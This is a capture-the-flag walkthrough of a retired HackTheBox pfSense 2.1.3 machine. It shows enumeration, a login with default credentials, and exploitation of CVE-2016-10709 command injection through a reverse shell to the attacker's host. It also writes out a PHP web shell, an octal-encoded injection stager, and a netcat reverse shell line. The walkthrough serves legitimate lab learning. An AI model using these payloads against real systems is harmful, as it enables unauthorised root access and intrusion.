Machine Info
This is a retired machine on HackTheBox. Machine IP: 10.129.69.54 Attacking machine IP: 10.10.14.49
Goals
To get the user and root flag.
Enumeration
A quick nmap
shows us it has 2 ports open, 80 and 443 for HTTP and HTTPS respectively.
1
2
3
4
5
6
7
8
$ nmap -p 1-65535 10.129.69.54
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-24 04:28 EST
Nmap scan report for 10.129.69.54
Host is up (0.28s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https
When we go to the page, it shows us the pfSense login screen, it seems like this machine is running pfSense on it.
Maybe you are thinking: “We can just do a dictionary attack or brute force to get the credentials” but a critical thing is this is pfSense, if we do anything like that, we would just be blocked, just try it for yourself, don’t just trust me. Okay, let’s turn to gobuster
for enumerating the secrets of the site.
1
2
$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -x php,html,js,txt,inc -t 30 --url https://10.129.69.54/ -k
$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,inc -t 30 --url https://10.129.69.54/ -k
Note: The server’s SSL is self-signed, so we must use
-k
to ignore SSL certificate verification.
Running those 2 wordlists gives us the following list of files and directories (list has been reduced to a few files and directories, in reality, I got near 100 files):
1
2
3
4
5
/index.php (Status: 200)
/index.html (Status: 200)
/changelog.txt (Status: 200)
/tree (Status: 301)
/system-users.txt (Status: 200)
The file named system-users.txt file looks very promising. This is the content:
####Support ticket###
Please create the following user
username: Rohit
password: company defaults
A quick Google search will tell you that the default credentials for pfsense is admin:pfsense
. It may be possible that the user rohit
is still using the default password. Login with username rohit
and password pfsense
.
CVE-2016-10709
Now, we see that the version of pfSense the server is running is 2.1.3, this version is vulnerable to RCE and command injection through the status_rrd_graph_img.php
page.
Using searchsploit to search for the exploit script in the local exploitdb (Kali Linux only).
1
2
3
4
5
6
7
$ searchsploit pfsense 2.1.3
------------------------------- ---------------------------------
Exploit Title | Path
------------------------------- ---------------------------------
pfSense < 2.1.4 - status_rrd_ | php/webapps/43560.py
------------------------------- ---------------------------------
Shellcodes: No Results
This script is located at:
1
2
$ find / -name 43560.py 2>/dev/null
/usr/share/exploitdb/exploits/php/webapps/43560.py
I suggest reading the script before going through with the exploitation. The script will open a reverse shell on the target, and we have to specify a bunch of things like the remote host, local host (attacking machine), local port (the port we will be listening on), username (rohit) and password (pfsense).
On a seperate terminal, open a netcat process:
1
2
$ nc -nvlp 1312
listening on [any] 1312 ...
1
2
3
4
$ python3 ~/43560.mod.py --rhost 10.129.69.54 --lhost 10.10.14.49 --lport 1312 --username rohit --password pfsense
CSRF token obtained
Running exploit...
Exploit completed
At this point, on the nc
terminal you should see:
1
2
3
4
5
6
$ nc -nvlp 1312
listening on [any] 1312 ...
connect to [10.10.14.49] from (UNKNOWN) [10.129.69.54] 10692
sh: cant access tty; job control turned off
# whoami
root
That’s it, no escalation needed as pfSense is running as root. Now we can see the root flag as well as the user flag.
1
2
3
4
# cat /root/root.txt
d08c32a5d4f8c8b10e7b1acensor
# cat /home/rohit/user.txt
8721327cc232073b40dd9ccensor
Alternative way
The above script is using the database
param of the vulnerable page, we can use the graph
param as well. I have a more primitive way to do this. What I did was:
- Craft a PHP web shell
1
<?php system($_GET("cmd")); ?>
- Upload the web shell to the DocumentRoot
The payload will put a simple webshell into the DocumentRoot, if you do not know where the DocumentRoot is, read the pfSense source code, preferrably version 2.1.3.
1
echo '<?php system($_GET["cmd"]); ?> ' > /usr/local/www/shellexec2.php
Octal-encode the payload using:
1
2
3
4
5
stager = 'echo \'<?php system($_GET["cmd"]); ?> \' > /usr/local/www/shellexec2.php'
encoded_stager = ''
for c in stager:
encoded_stager += "\\%03d" %(int(oct(ord(c))))
print (encoded_stager)
Which gave us:
1
\145\143\150\157\040\047\074\077\160\150\160\040\163\171\163\164\145\155\050\044\137\107\105\124\133\042\143\155\144\042\135\051\073\040\077\076\040\047\040\076\040\057\165\163\162\057\154\157\143\141\154\057\167\167\167\057\163\150\145\154\154\145\170\145\143\062\056\160\150\160
The actual payload:
1
file | printf '{insert above octal string here}' | sh | echo
You should read the pfSense version 2.1.3 source code to see where your payload will end up in. Here is the abbreviated source code for the file /usr/local/www/status_rrd_graph_img.php
. Notice how the graph
GET parameter gets around.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
...
/* this is used for temp name */
if ($_GET['graph']) {
$curgraph = $_GET['graph'];
} else {
$curgraph = "custom";
}
...
if((strstr($curdatabase, "-traffic.rrd")) && (file_exists("$rrddbpath$curdatabase"))) {
/* define graphcmd for traffic stats */
$graphcmd = "$rrdtool graph $rrdtmppath$curdatabase-$curgraph.png ";
...
/* check modification time to see if we need to generate image */
if (file_exists("$rrdtmppath$curdatabase-$curgraph.png")) {
if((time() - filemtime("$rrdtmppath$curdatabase-$curgraph.png")) >= 15 ) {
if($data)
exec("$graphcmd 2>&1", $graphcmdoutput, $graphcmdreturn);
...
?>
Explaination:
- The first part of our payload (
file
) is just a string that represents the normal value for thegraph
parameter (a filename). - The second part is
printf '{octal payload}'
, this will convert all the octal strings into plaintext. Alternatively, you can use hex encoding (\xHH
) or even Unicode encoding instead of octal encoding (\NNN
). - Then we pipe that payload into
sh
to execute it. - The final part is
echo
. This is just so that the rest of the original command doesn’t get mixed up with our command.
Note: Why do we have to use Python reverse shell here:
- The machine uses pfSense 2.1.3, so there is no
bash
: any method involving redirectingstdin
,stdout
directly to the/dev/tcp
device is out of the question.- The machine’s
nc
cannot be used to make a reverse shell (nc -e /bin/sh 10.10.14.49 1311
). It is because the machine is running FreeBSD and it’snc
is not like traditional distros’nc
, FreeBSD’snc
doesn’t support the-e
(execute) option,-e
here means IPSec_Policy. Read theman
page for this. Alternatively, you can use other ways to directly connect to the attacking machine if the machine doesn’t have Python: FreeBSD reverse shell
- Go to the webshell and execute all you want:
Now, this is NOT recommended for real-world stuff, it would be easily detectable as we put a custom file into the machine.